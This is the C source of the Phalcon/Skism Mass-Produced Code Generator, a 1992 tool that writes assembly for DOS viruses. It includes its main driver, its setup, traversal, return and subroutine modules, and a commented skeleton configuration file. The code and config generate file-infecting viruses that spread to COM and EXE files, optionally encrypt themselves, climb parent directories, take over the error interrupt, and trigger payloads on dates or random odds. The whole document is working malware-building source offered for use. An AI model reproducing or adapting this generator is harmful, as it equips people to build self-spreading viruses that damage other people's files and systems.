  916.   print("mov  word ptr [bp+buffer+14h], dx","New entry point");
  917.   print("mov  word ptr [bp+buffer+16h], ax","");
  918.   printblank();
  919.   print("mov  word ptr [bp+buffer+0Eh], ax","and stack");
  920.   print("mov  word ptr [bp+buffer+10h], id","");
  921.   printblank();
  922.   print("pop  dx","get file length");
  923.   print("pop  ax","");
  924.   printblank();
  925.   if (config.p.encrypt)
  926.     print("add  ax, heap-decrypt","add virus size");
  927.   else
  928.     print("add  ax, heap-startvirus","add virus size");
  929.   print("adc  dx, 0","");
  930.   printblank();
  931.   print("mov  cl, 9","");
  932.   print("push ax","");
  933.   print("shr  ax, cl","");
  934.   print("ror  dx, cl","");
  935.   print("stc","");
  936.   print("adc  dx, ax","");
  937.   print("pop  ax","");
  938.   print("and  ah, 1","mod 512");
  939.   printblank();
  940.   print("mov  word ptr [bp+buffer+4], dx","new file size");
  941.   print("mov  word ptr [bp+buffer+2], ax","");
  942.   printblank();
  943.   print("push cs","restore ES");
  944.   print("pop  es","");
  945.   printblank();
  946.   if (config.p.encrypt)
  947.     print("push word ptr [bp+buffer+14h]","needed later");
  948.   print("mov  cx, 1ah","");
  949. }
  950. ----------------------------------- Cut Here ----------------------------------
  951. /* FILE: VMAIN.C */
  952. /* The Phalcon/Skism Mass-Produced Code Generator *
  953.  * Version 0.90ß - 27 Jul 92 - Initial Release    *
  954.  * Written by Dark Angel of Phalcon/Skism         *
  955.  * Source code released with 40Hex-8              *
  956.  */
  957.  
  958. #include <stdio.h>
  959.  
  960. #define MAIN
  961. #include "vheader.h"
  962. #undef MAIN
  963.  
  964. globals config;
  965.  
  966. void parse_config(void);
  967. unsigned getnumber(int line, char *d, char ok, char *next);
  968. char getyn(int line, char *d);
  969. void setplusminus(char *a, char b);
  970. void parseactivate(int line, char *d, char min, char max, char *a, char *b,char *s);
  971. void printerror(int line, char c);
  972. void getDBname(char *orig, char *name,char *delim);
  973.  
  974. FILE *fp;
  975.  
  976. void main(int argc, char **argv)
  977. {
  978.   char c,filename[80];
  979.  
  980.   puts("PS-MPC ■ Phalcon/Skism Mass Produced Code Generator");
  981.   puts("       ■ Version 0.90ß        Written by Dark Angel\n");
  982.  
  983.   if (argc < 2)
  984.   {
  985.     puts("Syntax: PS-MPC <file1> <file2> ...");
  986.     puts("  file1 = name of first configuration file");
  987.     puts("  file2 = name of second configuration file");
  988.   }
  989.  
  990.   for (c=1;c<argc;c++)
  991.   {
  992.     if ((fp = fopen(argv[c],"rt")) == NULL)
  993.     {
  994.       printf("Error opening configuration file (%s).\n",argv[c]);
  995.       puts("Skipping file...");
  996.       continue;
  997.     }
  998.  
  999.     printf("Reading configuration file (%s)...",argv[c]);
  1000.     resetheap();
  1001.     parse_config();
  1002.     strcpy(config.configfilename,argv[c]);
  1003.  
  1004.     fclose(fp);
  1005.     puts("Done!");
  1006.  
  1007.     if (!config.p.infectCOM && !config.p.infectEXE) {
  1008.       puts("Warning: Virus does not infect any type of file.");
  1009.       puts("Remedy:  Use the \"infect\" parameter in the configuration file.");
  1010.       puts("Skipping file...");
  1011.       continue;
  1012.     }
  1013.  
  1014.     if (!config.asmfilename[0]) {
  1015.       puts("Warning: No target file name specified.");
  1016.       puts("Remedy:  Use the \"filename\" parameter in the configuration file.");
  1017.       puts("Skipping file...");
  1018.       continue;
  1019.     }
  1020.  
  1021.     if ((fp = fopen(config.asmfilename,"wt")) == NULL)
  1022.     {
  1023.       printf("Error opening target file (%s).\n",config.asmfilename);
  1024.       puts("Skipping file...");
  1025.       continue;
  1026.     }
  1027.  
  1028.     printf("Creating target file (%s)...",config.asmfilename);
  1029.  
  1030.     code_header();
  1031.     code_encryption();
  1032.     code_setup();
  1033.     code_traversal();
  1034.     code_check_activation();
  1035.     code_return();
  1036.     code_activate();
  1037.     code_messages();
  1038.     if (config.p.calls_check)
  1039.       code_check();
  1040.     code_infect();
  1041.     code_subroutines();
  1042.     code_variables();
  1043.     code_heap();
  1044.     code_tail();
  1045.  
  1046.     fclose(fp);
  1047.     puts("Done!");
  1048.   }
  1049.   puts("\nThank you for using the Phalcon/Skism Mass Produced Code Generator");
  1050.   exit(0);
  1051. }
  1052.  
  1053. void print(char *s, char *t)
  1054. {
  1055.   char b[80];
  1056.   sprintf(b,"          %s",s);
  1057.   printlabel(b,t);
  1058. }
  1059.  
  1060. void printlabel(char *s, char *t)
  1061. {
  1062.   int i = 0;
  1063.   if (*s)
  1064.     if (*t) {
  1065.       i = fprintf(fp,"%-40s",s);
  1066.       if (i > 40)
  1067.         fputc(' ',fp);
  1068.       fprintf(fp,"; %s",t);
  1069.     } else /* if (*t) */
  1070.       fprintf(fp,s);
  1071.   fprintf(fp,"\n");
  1072. }
  1073.  
  1074. void addvar(char *s, char *t, char *u)
  1075. {
  1076.   char b[80];
  1077.   if (*u)
  1078.     sprintf(b,"%-20.20s%-20.20s; %s",s,t,u);
  1079.   else
  1080.     sprintf(b,"%-20.20s%s",s,t);
  1081.   printlabel(b,"");
  1082. }
  1083.  
  1084. void parse_config(void)
  1085. {
  1086.     char b[80];
  1087.     char *c, *d;
  1088.     int  line = 0;
  1089.     globals default_globals = {
  1090.         "",                       /* Configuration file name              */
  1091.         "",                       /* Source code file name                */
  1092.         "  ",                     /* EXE ID Word                          */
  1093.         "",                       /* Virus name                           */
  1094.         '\'',                     /* Deliminator for virus name           */
  1095.         "",                       /* Author name                          */
  1096.         '\'',                     /* Deliminator for author name          */
  1097.         0,                        /* Minimum COM size for infection       */
  1098.         0,                        /* Maximum COM size for infection       */
  1099.         0,                        /* Infections per run                   */
  1100.         { 0,0,NONE,0,0,0,0 },     /* flags                                */
  1101.         0,                        /* xor value                            */
  1102.         "",                       /* xor comment                          */
  1103.         0,                        /* number of activation conditions      */
  1104.         { 0,0,0,0,0,-1,0,-1,-1,-1,0 }, /* activation conditions           */
  1105.         { 0,0,0,0,0, 0,0, 0, 0, 0,-1}  /* plusminus activation conditions */
  1106.     };
  1107.  
  1108.     config = default_globals;
  1109.  
  1110.     while (1)
  1111.     {
  1112.         line++;
  1113.         b[0]=0;
  1114.         c = fgets(b,100,fp);
  1115.         if (!b[0])
  1116.           break;
  1117.         while (isspace(*c)) c++;    /* skip initial spaces */
  1118.         if (!*c || *c == ';') continue;    // check if this line is a comment
  1119.         d = c;
  1120.         while (!isspace(*d)) d++;   /* isolate one word  */
  1121.         *d++ = 0;                   /* NULL terminate it */
  1122.         while (isspace(*d) || (*d == '=')) d++;
  1123.  
  1124.         if (!stricmp(c,"filename"))
  1125.         {
  1126.           c = d;
  1127.           while (!isspace(*d)) d++; /* isolate filename */
  1128.           *d = 0;
  1129.           strcpy(config.asmfilename,c);
  1130.         }
  1131.  
  1132.         else if (!stricmp(c,"traversal"))
  1133.           switch (toupper(*d))
  1134.           {
  1135.             case 'N' : config.p.traverse = NONE; break;
  1136.             case 'D' : config.p.traverse = DOT_DOT; break;
  1137.             default  : printerror(line,*d);
  1138.           }
  1139.  
  1140.         else if (!stricmp(c,"encryption")) config.p.encrypt = getyn(line,d);
  1141.  
  1142.         else if (!stricmp(c,"infect")) {
  1143.           while (!isspace(*d)) {
  1144.             switch (toupper(*d))
  1145.             {
  1146.               case 'C' : config.p.infectCOM = 1; break;
  1147.               case 'E' : config.p.infectEXE = 1; break;
  1148.               case ',' : break;
  1149.               default  : printerror(line,*d);
  1150.             }
  1151.             d++;
  1152.           }
  1153.         }
  1154.  
  1155.         else if (!stricmp(c,"idword")) {
  1156.           config.id[0] = (isspace(*d)) ? ' ' : *d;
  1157.           config.id[1] = (isspace(*(d+1))) ? ' ' : *(d+1);
  1158.           config.id[2]=0;
  1159.         }
  1160.  
  1161.         else if (!stricmp(c,"minsize")) {
  1162.           if (toupper(*d) == 'A')
  1163.             config.minsize = 1;
  1164.           else {
  1165.             config.minsize = getnumber(line,d,0,0);
  1166.             if (config.maxsize > 1)
  1167.               if (config.minsize > config.maxsize)
  1168.                 puts("Error: minsize is greater than maxsize!");
  1169.           }
  1170.         }
  1171.  
  1172.         else if (!stricmp(c,"maxsize")) {
  1173.           if (toupper(*d) == 'A')
  1174.             config.maxsize = 1;
  1175.           else {
  1176.             config.maxsize = getnumber(line,d,0,0);
  1177.             if (config.minsize > 1)
  1178.               if (config.maxsize < config.minsize)
  1179.                 printf("Error: minsize is greater than maxsize!\n");
  1180.           }
  1181.         }
  1182.  
  1183.         else if (!stricmp(c,"infections"))
  1184.           config.maxinfect = (unsigned char)getnumber(line,d,0,0);
  1185.  
  1186.         else if (!stricmp(c,"errorhandler"))
  1187.           config.p.int24 = getyn(line,d);
  1188.  
  1189.         else if (!stricmp(c,"commandcom"))
  1190.           config.p.CommandCom = getyn(line,d);
  1191.  
  1192.         else if (!stricmp(c,"virusname"))
  1193.           getDBname(d,config.virusname,&config.virusnamedelim);
  1194.  
  1195.         else if (!stricmp(c,"authorname"))
  1196.           getDBname(d,config.authorname,&config.authornamedelim);
  1197.  
  1198.         else if (!stricmp(c,"allowzero"))
  1199.           config.p.allowzero = getyn(line,d);
  1200.  
  1201.         else if (!stricmp(c,"always")) {
  1202.           config.activate.always = getyn(line,d);
  1203.           if (config.activate.always) config.activation++;
  1204.         }
  1205.  
  1206.         else if (!stricmp(c,"ifmonth"))
  1207.           parseactivate(line,d,1,12,&config.activate.month,&config.plusminus.month,"month");
  1208.  
  1209.         else if (!stricmp(c,"ifday"))
  1210.           parseactivate(line,d,1,31,&config.activate.day,&config.plusminus.day,"day");
  1211.  
  1212.         else if (!stricmp(c,"ifyear"))
  1213.         {
  1214.           config.activate.year = getnumber(line,d,'+',d);
  1215.           setplusminus((char *)&config.plusminus.year,*d);
  1216.           config.activation++;
  1217.         }
  1218.  
  1219.         else if (!stricmp(c,"ifdow"))
  1220.           parseactivate(line,d,0,6,&config.activate.dow,&config.plusminus.dow,"date of week");
  1221.  
  1222.         else if (!stricmp(c,"ifmonthday"))
  1223.         {
  1224.           int  tempint;
  1225.           char temp=(char)getnumber(line,d,',',d);
  1226.           if ((temp < 1) || (temp > 12))
  1227.             printf("Invalid month: %d.  Must range between 1 and 12.\n",temp);
  1228.           else {
  1229.             d++;
  1230.             tempint = temp*0x100;
  1231.             temp=(char)getnumber(line,d,'+',d);
  1232.             if ((temp < 1) || (temp > 31))
  1233.             {
  1234.               printf("Invalid day: %d.  Must range between 1 and 31.\n",temp);
  1235.             } else {
  1236.               config.activate.monthday=tempint + temp;
  1237.               setplusminus((char *)&config.plusminus.monthday,*d);
  1238.               config.activation++;
  1239.             }
  1240.           }
  1241.         }
  1242.  
  1243.         else if (!stricmp(c,"ifhour"))
  1244.           parseactivate(line,d,0,23,&config.activate.hour,&config.plusminus.hour,"hour");
  1245.  
  1246.         else if (!stricmp(c,"ifminute"))
  1247.           parseactivate(line,d,0,59,&config.activate.minute,&config.plusminus.minute,"minute");
  1248.  
  1249.         else if (!stricmp(c,"ifsecond"))
  1250.           parseactivate(line,d,0,59,&config.activate.second,&config.plusminus.second,"second");
  1251.  
  1252.         else if (!stricmp(c,"percentage"))
  1253.           parseactivate(line,d,1,99,&config.activate.percentage,0,"percentage");
  1254.  
  1255.         else if (!isspace(c))
  1256.           printf("Error in line %d: Invalid parameter '%s'.\n",line,c);
  1257.     }
  1258. }
  1259.  
  1260. unsigned int getnumber(int line,char *d,char ok,char *next)
  1261. {
  1262.   int temp = 0;
  1263.   while (isdigit(*d))
  1264.   {
  1265.     temp*=10;
  1266.     temp+=(*d-'0');
  1267.     d++;
  1268.   }
  1269.   if ((ok == '+') && (!((*d == '+') || (*d == '-'))) && !isspace(*d))
  1270.     printerror(line,*d);
  1271.   else
  1272.     if (next) *next=*d;
  1273.   return temp;
  1274. }
  1275.  
  1276. char getyn(int line,char *d)
  1277. {
  1278.   switch (toupper(*d))
  1279.   {
  1280.     case 'Y' : return 1;
  1281.     case 'N' : return 0;
  1282.     default  : printerror(line,*d);
  1283.   }
  1284.   return 0;
  1285. }
  1286.  
  1287. void setplusminus(char *a, char b)
  1288. {
  1289.     if (b == '+')
  1290.       *a = 1;
  1291.     else if (b == '-')
  1292.       *a = -1;
  1293.     else
  1294.       *a = 0;
  1295. }
  1296.  
  1297. void parseactivate(int line, char *d, char min, char max, char *a, char *b, char *s)
  1298. {
  1299.   char *c=d;
  1300.   char temp = (char)getnumber(line,d,'+',c);
  1301.   if ((temp < min) || (temp > max))
  1302.     printf("Invalid %s specified: %d.  Range must be between %d & %d.\n",s,temp,min,max);
  1303.   else {
  1304.     *a = temp;
  1305.     if (b != 0) setplusminus(b,*c);
  1306.     config.activation++;
  1307.   }
  1308. }
  1309.  
  1310. void printerror(int line, char c)
  1311. {
  1312.   printf("Error in line %d: Invalid character '%c'.\n",line,c);
  1313. }
  1314.  
  1315. void printblank(void)
  1316. {
  1317.   fprintf(fp,"\n");
  1318. }
  1319. void getDBname(char *orig, char *name,char *delim)
  1320. {
  1321.   *delim = '\'';
  1322.   orig[strlen(orig)-1] = 0;
  1323.   if (strchr(orig,'\''))
  1324.     if (strchr(orig,'\"')) {
  1325.       *delim = 0;
  1326.       printf("Error in %s: Both single and double quotes used.",orig);
  1327.     }
  1328.     else
  1329.       *delim = '\"';
  1330.   if (*delim)
  1331.     strcpy(name,orig);
  1332. }
  1333. ----------------------------------- Cut Here ----------------------------------
  1334. /* FILE: VMESSAGE.C */
  1335. #include "vheader.h"
  1336.  
  1337. void code_messages(void)
  1338. {
  1339.     char b[80];
  1340.     addvar("creator","db '[MPC]',0","Mass Produced Code Generator");
  1341.     if (config.virusname[0]) {
  1342.       sprintf(b,"db %c%s%c,0",config.virusnamedelim, config.virusname,
  1343.                               config.virusnamedelim);
  1344.       addvar("virusname",b,"");
  1345.     }
  1346.     if (config.authorname[0]) {
  1347.       sprintf(b,"db %c%s%c,0",config.authornamedelim, config.authorname,
  1348.                               config.authornamedelim);
  1349.       addvar("author",b,"");
  1350.     }
  1351.     printblank();
  1352. }
  1353. ----------------------------------- Cut Here ----------------------------------
  1354. /* FILE: VRETURN.C */
  1355. #include "vheader.h"
  1356.  
  1357. void return_EXE(void);
  1358. void return_COM(void);
  1359.  
  1360. void code_return(void)
  1361. {
  1362.   char s[80];
  1363.   if (config.activation)
  1364.     printlabel("exit_virus:","");
  1365.   if (config.p.int24)
  1366.   {
  1367.     print("mov  ax,2524h","Restore int 24 handler");
  1368.     print("lds  dx,[bp+offset oldint24]","to original");
  1369.     print("int  21h","");
  1370.     print("push cs","");
  1371.     print("pop  ds","");
  1372.     printblank();
  1373.   }
  1374.   if (config.p.traverse == DOT_DOT) {
  1375.     print("mov  ah,3bh","change directory");
  1376.     print("lea  dx,[bp+origdir-1]","original directory");
  1377.     print("int  21h","");
  1378.     printblank();
  1379.   }
  1380.   print("mov  ah,1ah","restore DTA to default");
  1381.   print("mov  dx,80h","DTA in PSP");
  1382.   if (config.p.infectEXE)
  1383.   {
  1384.     if (config.p.infectCOM)
  1385.     {
  1386.       print("cmp  sp,id-4","EXE or COM?");
  1387.       print("jz   returnEXE","");
  1388.       printlabel("returnCOM:","");
  1389.       return_COM();
  1390.       printlabel("returnEXE:","");
  1391.       return_EXE();
  1392.     } else /* EXE only */
  1393.     {
  1394.       return_EXE();
  1395.     }
  1396.   } else
  1397.   {
  1398.     return_COM();
  1399.     addvar("save3","db 0cdh,20h,0","First 3 bytes of COM file");
  1400.   }
  1401.   printblank();
  1402. }
  1403.  
  1404. void return_EXE(void)
  1405. {
  1406.   print("pop  es","");
  1407.   print("pop  ds","");
  1408.   print("int  21h","");
  1409.   print("mov  ax,es","AX = PSP segment");
  1410.   print("add  ax,10h","Adjust for PSP");
  1411.   print("add  word ptr cs:[bp+jmpsave+2],ax","");
  1412.   print("add  ax,word ptr cs:[bp+stacksave+2]","");
  1413.   print("cli","Clear intrpts for stack manipulation");
  1414.   print("mov  sp,word ptr cs:[bp+stacksave]","");
  1415.   print("mov  ss,ax","");
  1416.   print("sti","");
  1417.   print("db   0eah","jmp ssss:oooo");
  1418.   addvar("jmpsave","dd ?","Original CS:IP");
  1419.   addvar("stacksave","dd ?","Original SS:SP");
  1420.   if (config.p.infectCOM) {
  1421.     addvar("jmpsave2","db ?","Actually four bytes");
  1422.     addvar("save3","db 0cdh,20h,0","First 3 bytes of COM file");
  1423.   } else
  1424.     addvar("jmpsave2","dd 0fff00000h","Needed for carrier file");
  1425.   addvar("stacksave2","dd ?","");
  1426. }
  1427.  
  1428. void return_COM(void)
  1429. {
  1430.   print("int  21h","");
  1431.   print("retn","100h is on stack");
  1432. }
  1433. ----------------------------------- Cut Here ----------------------------------
  1434. /* FILE: VSETUP.C */
  1435. #include "vheader.h"
  1436.  
  1437. void restore_COM(void);
  1438. void restore_EXE(void);
  1439.  
  1440. void code_setup(void)
  1441. {
  1442.   addheap("buffer","db 1ah dup (?)","read buffer");
  1443.   if (!config.p.encrypt)
  1444.     printlabel("startvirus:","virus code starts here");
  1445.   print("call next","calculate delta offset");
  1446.   printlabel("next:     pop  bp","bp = IP next");
  1447.   print("sub  bp,offset next","bp = delta offset");
  1448.   printblank();
  1449.   if (config.p.infectEXE)
  1450.   {
  1451.     if (config.p.infectCOM) /* COM & EXE */
  1452.     {
  1453.       print("cmp  sp,id","COM or EXE?");
  1454.       print("je   restoreEXE","");
  1455.       printlabel("restoreCOM:","");
  1456.       restore_COM();
  1457.       print("jmp  short restoreEXIT","");
  1458.       printlabel("restoreEXE:","");
  1459.       restore_EXE();
  1460.       printlabel("restoreEXIT:","");
  1461.       print("movsw","");
  1462.     } else /* EXE ONLY */
  1463.       restore_EXE();
  1464.   } else
  1465.     restore_COM();
  1466.  
  1467.   printblank();
  1468.   if (config.maxinfect)
  1469.   {
  1470.     char b[80];
  1471.     addheap("numinfec","db ?","Infections this run");
  1472.     sprintf(b,"mov  byte ptr [bp+numinfec],%u",config.maxinfect);
  1473.     print(b,"reset infection counter");
  1474.     printblank();
  1475.   }
  1476.   print("mov  ah,1Ah","Set new DTA");
  1477.   print("lea  dx,[bp+newDTA]","new DTA @ DS:DX");
  1478.   print("int  21h","");
  1479.   printblank();
  1480.   addheap("newDTA","db 43 dup (?)","Temporary DTA");
  1481.   if (config.p.traverse == DOT_DOT)
  1482.   {
  1483.     print("mov  ah,47h","Get current directory");
  1484.     print("mov  dl,0","Current drive");
  1485.     print("lea  si,[bp+origdir]","DS:SI->buffer");
  1486.     print("int  21h","");
  1487.     print("mov  byte ptr [bp+backslash],'\\'","Prepare for later CHDIR");
  1488.     addheap("origdir","db 64 dup (?)","Current directory buffer");
  1489.     addheap("backslash","db ?","");
  1490.     printblank();
  1491.   }
  1492.   if (config.p.int24)
  1493.   {
  1494.     addheap("oldint24","dd ?","Storage for old int 24h handler");
  1495.     print("mov  ax,3524h","Get int 24 handler");
  1496.     print("int  21h","to ES:BX");
  1497.     print("mov  word ptr [bp+oldint24],bx","Save it");
  1498.     print("mov  word ptr [bp+oldint24+2],es","");
  1499.     print("mov  ah,25h","Set new int 24 handler");
  1500.     print("lea  dx,[bp+offset int24]","DS:DX->new handler");
  1501.     print("int  21h","");
  1502.     print("push cs","Restore ES");
  1503.     print("pop  es","'cuz it was changed");
  1504.     printblank();
  1505.   }
  1506. }
  1507.  
  1508. void restore_EXE(void)
  1509. {
  1510.   print("push ds","");
  1511.   print("push es","");
  1512.   print("push cs","DS = CS");
  1513.   print("pop  ds","");
  1514.   print("push cs","ES = CS");
  1515.   print("pop  es","");
  1516.   print("lea  si,[bp+jmpsave2]","");
  1517.   print("lea  di,[bp+jmpsave]","");
  1518.   print("movsw","");
  1519.   print("movsw","");
  1520.   print("movsw","");
  1521.   if (!config.p.infectCOM)
  1522.     print("movsw","");
  1523. }
  1524.  
  1525. void restore_COM(void)
  1526. {
  1527.   print("lea  si,[bp+save3]","");
  1528.   print("mov  di,100h","");
  1529.   print("push di","For later return");
  1530.   if (!config.p.infectEXE)
  1531.     print("movsw","");
  1532.   print("movsb","");
  1533. }
  1534. ----------------------------------- Cut Here ----------------------------------
  1535. /* FILE: VSUBS.C */
  1536. #include "vheader.h"
  1537.  
  1538. void code_subroutines(void)
  1539. {
  1540.   printlabel("open:","");
  1541.   print("mov  ah,3dh","");
  1542.   print("lea  dx,[bp+newDTA+30]","filename in DTA");
  1543.   print("int  21h","");
  1544.   print("xchg ax,bx","");
  1545.   print("ret","");
  1546.   printblank();
  1547.   printlabel("attributes:","");
  1548.   print("mov  ax,4301h","Set attributes to cx");
  1549.   print("lea  dx,[bp+newDTA+30]","filename in DTA");
  1550.   print("int  21h","");
  1551.   print("ret","");
  1552.   printblank();
  1553.   if (config.p.encrypt)
  1554.   {
  1555.     printlabel("write:","");
  1556.     print("pop  bx","Restore file handle");
  1557.     print("pop  bp","Restore relativeness");
  1558.     print("mov  ah,40h","Write to file");
  1559.     print("lea  dx,[bp+decrypt]","Concatenate virus");
  1560.     print("mov  cx,heap-decrypt","# bytes to write");
  1561.     print("int  21h","");
  1562.     print("push bx","");
  1563.     print("push bp","");
  1564.     printlabel("endwrite:","");
  1565.     printblank();
  1566.   }
  1567.   if (config.p.int24)
  1568.   {
  1569.     printlabel("int24:","New int 24h (error) handler");
  1570.     print("mov  al,3","Fail call");
  1571.     print("iret","Return control");
  1572.     printblank();
  1573.   }
  1574. }
  1575. ----------------------------------- Cut Here ----------------------------------
  1576. /* FILE: VTAIL.C */
  1577. #include "vheader.h"
  1578.  
  1579. void code_tail(void)
  1580. {
  1581.   if (config.p.infectCOM)
  1582.     printlabel("end       entry_point","");
  1583.   else
  1584.     if (config.p.encrypt)
  1585.       printlabel("end       decrypt","");
  1586.     else
  1587.       printlabel("end       startvirus","");
  1588. }
  1589. ----------------------------------- Cut Here ----------------------------------
  1590. /* FILE: VTRAVEL.C */
  1591. #include "vheader.h"
  1592.  
  1593. void code_traversal_generic(void);
  1594. void dot_dot(void);
  1595. void lea_exe(void);
  1596. void lea_com(void);
  1597.  
  1598. void code_traversal(void)
  1599. {
  1600.   config.p.calls_check = 0;
  1601.   switch (config.p.traverse)
  1602.   {
  1603.     case NONE:    code_traversal_generic(); break;
  1604.     case DOT_DOT: printlabel("dir_scan:","\"dot dot\" traversal");
  1605.                   code_traversal_generic();
  1606.                   dot_dot();
  1607.                   break;
  1608.   }
  1609.   printblank();
  1610.   printlabel("done_infections:","");
  1611. }
  1612.  
  1613. void code_traversal_generic(void)
  1614. {
  1615.   if (config.p.infectEXE) {
  1616.     lea_exe();
  1617.     if (!config.p.infectCOM)
  1618.       code_check();
  1619.   }
  1620.   if (config.p.infectCOM) {
  1621.     lea_com();
  1622.     if (config.p.infectEXE)
  1623.       config.p.calls_check++;
  1624.     else
  1625.       code_check();
  1626.   }
  1627. }
  1628.  
  1629. void lea_exe(void)
  1630. {
  1631.   print("lea  dx,[bp+exe_mask]","");
  1632.   if (config.p.infectCOM)
  1633.     print("call infect_mask","");
  1634. }
  1635.  
  1636. void lea_com(void)
  1637. {
  1638.   print("lea  dx,[bp+com_mask]","");
  1639.   if (config.p.infectEXE)
  1640.     print("call infect_mask","");
  1641. }
  1642.  
  1643. void dot_dot(void)
  1644. {
  1645.   print("mov  ah,3bh","change directory");
  1646.   print("lea  dx,[bp+dot_dot]","\"cd ..\"");
  1647.   print("int  21h","");
  1648.   print("jnc  dir_scan","go back for mo!");
  1649. }
  1650. ----------------------------------- Cut Here ----------------------------------
  1651. /* FILE: VVAR.C */
  1652. #include "vheader.h"
  1653.  
  1654. void code_variables(void)
  1655. {
  1656.   if (config.p.infectEXE) addvar("exe_mask","db '*.exe',0","");
  1657.   if (config.p.infectCOM) addvar("com_mask","db '*.com',0","");
  1658.   if (config.p.traverse == DOT_DOT)
  1659.     addvar("dot_dot","db '..',0","");
  1660. }
  1661. ----------------------------------- Cut Here ----------------------------------
  1662. ; FILE: SKELETON.CFG
  1663. ; Skeleton configuration file for PS-MPC version 0.90ß
  1664. ; Lines beginning with semicolons denote comments
  1665.  
  1666. ; Required parameters:
  1667.  
  1668. ; Filename = <string>
  1669. ; This is the filename to be generated by PS-MPC as the source code file.
  1670. Filename = target.asm
  1671.  
  1672. ; Infect = (C,E)
  1673. ; COM, EXE
  1674. ; Note: You can mix the two, a la "Infect = C,E"  Do not use a space to
  1675. ;       deliminate the two parameters.
  1676. Infect = C,E
  1677.  
  1678. ; Optional parameters - Defaults are shown in square brackets
  1679.  
  1680. ; Traversal = <N,D>
  1681. ; ([None], Dot Dot)
  1682. ; If None is specified, then only the files in the current directory will be
  1683. ; infected.  If Dot dot is specified, then files in the current directory and
  1684. ; subdirectories below the current will be infected.
  1685. Traversal = N
  1686.  
  1687. ; Encrypted = <Y,N>
  1688. ; (Yes, [No])
  1689. ; Only turn off encryption if you wish to limit the size of the virus.
  1690. Encryption = Y
  1691.  
  1692. ; IDWord = XX
  1693. ; ([  ],XX)
  1694. ; The IDWord consists of two characters which are used to identify already
  1695. ; infected EXE files.  This line is not needed in COM-only infectors.  Do
  1696. ; not use an apostrophe or the source code will not assemble properly.
  1697. IDWord = DA
  1698.  
  1699. ; MinSize = #
  1700. ; (A,[0]..65535)
  1701. ; MinSize is used only in the infection of COM files.  Files under MinSize
  1702. ; bytes are not infected.  MinSize = 0 turns off this option.  MinSize = A
  1703. ; indicates use of the virus's effective length as the minimum size.  This
  1704. ; line is ignored in EXE-specific infectors.
  1705. MinSize = 0
  1706.  
  1707. ; MaxSize = #
  1708. ; (A,[0]..65535)
  1709. ; MaxSize is used only in the infection of COM files.  Files above MaxSize
  1710. ; bytes are not infected.  MaxSize = 0 turns off this option.  MaxSize = A
  1711. ; indicates automatic calculation of maximum size. This line is not needed
  1712. ; in EXE-only infectors.
  1713. MaxSize = A
  1714.  
  1715. ; Infections = #
  1716. ; ([0]..255)
  1717. ; Infections is an optional counter limiting the number of infections per run
  1718. ; of the virus to a specific number.  Infections = 0 disables this option.
  1719. Infections = 0
  1720.  
  1721. ; ErrorHandler = <Y,N>
  1722. ; (Yes, [No])
  1723. ; ErrorHandler selects if you wish to include a short critical error handler
  1724. ; in the virus.  This handler prevents Abort, Retry, Fail messages by taking
  1725. ; over the critical error interrupt.  Attempted infection of files on write-
  1726. ; protected diskettes will not generate an error if this option is set.
  1727. ErrorHandler = Y
  1728.  
  1729. ; CommandCom = <Y,N>
  1730. ; (Yes, [No])
  1731. ; This flag indicates whether you wish the virus to infect COMMAND.COM
  1732. ; 'Yes' turns off the check for COMMAND.COM, thus saving space.
  1733. CommandCom = N
  1734.  
  1735. ; VirusName = <string>
  1736. ; The only limitation to the string is that you may not use both the single
  1737. ; and double quotes together in the string, i.e. the string B'li"p is not
  1738. ; legal.
  1739. VirusName = [Skeleton]
  1740.  
  1741. ; AuthorName = <string>
  1742. ; The same constraints apply to AuthorName.
  1743. AuthorName = Deke
  1744.  
  1745. ; AllowZero = <Y,N>
  1746. ; (Yes, [No])
  1747. ; This flags whether the virus will allow an encryption value of 0, which
  1748. ; would effectively leave it in an unencrypted state.  'Yes' disables the
  1749. ; zero check, thereby shortening code length.
  1750. AllowZero = N
  1751.  
  1752. ; Activation Conditions
  1753. ; All conditions must be satisfied for activation to occur
  1754.  
  1755. ; Always = <Y,N>
  1756. ; (Yes, [No])
  1757. ; This flags whether the virus always activates, although I can't imagine a
  1758. ; useful virus that does so.
  1759. ; Always = N
  1760.  
  1761. ; IfMonth = #
  1762. ; <1..12><-,+>
  1763. ; Activate if the month is equal to the specified number.  Adding a minus sign
  1764. ; after the month indicates activation before or during the specified month.
  1765. ; Adding a plus sign after the month indicates activation during or after the
  1766. ; specified month.
  1767. ; IfMonth = 11+    ; Activate in either November or December
  1768.  
  1769. ; IfDay = #
  1770. ; <1..31><-,+>
  1771. ; Activate if the date is on a certain date  Adding a minus sign after the day
  1772. ; indicates activation on or before that day.  Similarly, adding a plus sign
  1773. ; indicates activation on or after that day.  Note: the program does not check
  1774. ; to see if the number inputted is a valid date.  For example, combining
  1775. ; IfMonth=2 and IfDay=30+ will NOT result in an error, although the virus will
  1776. ; clearly never activate.
  1777. ; IfDay = 15+         ; Activate after the fifteenth of the month
  1778.  
  1779. ; IfYear = #
  1780. ; <0..65535><-,+>
  1781. ; Activate during a certain year or years.  Don't be stupid and put a
  1782. ; ridiculous year such as 1-.
  1783. ; IfYear = 1993+      ; Activate after 1993
  1784.  
  1785. ; IfDOW = #
  1786. ; <0..6><-,+>
  1787. ; 0 = Sunday, 1 = Monday, etc.
  1788. ; Activate on, before, or after a particular day of the week.
  1789. ; IfDOW = 0            ; Activate only on Sundays
  1790.  
  1791. ; IfMonthDay = #,#
  1792. ; <#,#><-,+>
  1793. ; Activate on, before, or after a particular day of the year.  This differs
  1794. ; from the combination of IfMonth and IfDay.
  1795. ; IfMonthDay = 5,9+    ; Activate only after May 9th
  1796. ; compare to:
  1797. ; IfMonth = 5+         ; Activate in May through December, but only if the
  1798. ; IfDay   = 9+         ; day is on or after the 8th.  July 1st is NOT an
  1799.                        ; activation date
  1800.  
  1801. ; IfHour = #
  1802. ; <0..23><-,+>
  1803. ; This should be self-explanatory at this point.
  1804. ; IfHour = 12          ; Activate any time from 12 noon -> 1 P.M.
  1805.  
  1806. ; IfMinute = #
  1807. ; <0..59><-,+>
  1808. ; Duh.
  1809. ; IfMinute = 30+
  1810.  
  1811. ; IfSecond = #
  1812. ; <0..59><-,+>  ;; check 0
  1813. ; This is somewhat useless, in my estimation
  1814. ; IfSecond = 30+
  1815.  
  1816. ; Percentage = #
  1817. ; <1..99>
  1818. ; This uses the 1/100 second counter as a random number.  If the counter is
  1819. ; less than the percentage, then the virus will activate.
  1820. ; Percentage = 50      ; Even odds
  1821. --------------------------------- Stop Cutting --------------------------------
  1822.  
  1823.